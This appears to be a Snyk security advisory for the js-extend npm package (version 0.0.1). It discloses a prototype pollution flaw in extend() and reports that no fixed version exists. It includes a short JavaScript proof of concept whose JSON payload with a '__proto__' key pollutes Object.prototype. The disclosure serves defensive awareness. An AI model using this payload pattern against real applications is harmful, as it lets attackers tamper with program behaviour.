Homepage

js-extend@0.0.1 vulnerabilities

A simple extend function based on underscore

  • latest version

    1.0.1

  • first published

    10 years ago

  • latest version published

    8 years ago

  • licenses detected

  • View js-extend package health on Snyk Advisor  (opens in a new tab)
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the js-extend package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    js-extend is a Simple extend function based on underscore.

    Affected versions of this package are vulnerable to Prototype Pollution via the extend() function.

    PoC

    var jsExtend = require("js-extend")
var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
jsExtend.extend({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for js-extend.

    *
    Go back to all versions of this package